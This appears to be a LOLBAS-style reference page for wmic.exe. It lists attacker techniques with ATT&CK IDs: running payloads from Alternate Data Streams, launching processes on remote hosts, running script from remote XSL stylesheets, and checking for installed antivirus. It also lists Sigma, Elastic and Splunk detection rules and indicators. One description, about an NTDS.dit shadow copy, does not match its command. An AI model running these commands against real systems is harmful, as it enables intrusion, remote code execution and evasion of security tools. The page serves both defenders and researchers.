01 / TRADECRAFT
7 examplesCommand reference
ADS1
EXAMPLE 01T1564.004
Execute a .EXE file stored as an Alternate Data Stream (ADS)
COMMAND
wmic.exe process call create "{PATH_ABSOLUTE}:program.exe"Execute5
EXAMPLE 01T1218
Execute calc from wmic
COMMAND
wmic.exe process call create "{CMD}"EXAMPLE 02T1218
Execute evil.exe on the remote system.
COMMAND
wmic.exe /node:"192.168.0.1" process call create "{CMD}"EXAMPLE 03T1218
Create a volume shadow copy of NTDS.dit that can be copied.
COMMAND
wmic.exe process get brief /format:"{REMOTEURL:.xsl}"EXAMPLE 04T1218
Executes JScript or VBScript embedded in the target remote XSL stylsheet.
COMMAND
wmic.exe process get brief /format:"{PATH_SMB:.xsl}"EXAMPLE 05T1518.001
Executes WMIC to gather the existing Antivirus or EDR solution installed on the machine.
COMMAND
WMIC.exe /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName,productStateCopy1
EXAMPLE 01T1105
Copy file from source to destination.
COMMAND
wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"02 / ON DISK
Known paths
C:\Windows\System32\wbem\wmic.exeC:\Windows\SysWOW64\wbem\wmic.exe03 / DEFENSIVE INTELLIGENCE
12 resourcesDetection & indicators
- Sigmaimage_load_wmic_remote_xsl_scripting_dlls.ymlgithub.com
- Sigmaproc_creation_win_wmic_xsl_script_processing.ymlgithub.com
- Sigmaproc_creation_win_wmic_squiblytwo_bypass.ymlgithub.com
- Sigmaproc_creation_win_wmic_eventconsumer_creation.ymlgithub.com
- Elasticdefense_evasion_suspicious_wmi_script.tomlgithub.com
- Elasticpersistence_via_windows_management_instrumentation_event_subscription.tomlgithub.com
- Elasticdefense_evasion_suspicious_managedcode_host_process.tomlgithub.com
- Splunkxsl_script_execution_with_wmic.ymlgithub.com
- Splunkremote_wmi_command_attempt.ymlgithub.com
- Splunkremote_process_instantiation_via_wmi.ymlgithub.com
- Splunkprocess_execution_via_wmi.ymlgithub.com
- BlockRulemicrosoft recommended block rulesdocs.microsoft.com
Indicators & detection notes
- IOC
Wmic retrieving scripts from remote system/Internet location
- IOC
DotNet CLR libraries loaded into wmic.exe
- IOC
DotNet CLR Usage Log - wmic.exe.log
- IOC
wmiprvse.exe writing files
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Casey Smith@subtee
Avihay Eldad@AvihayEldad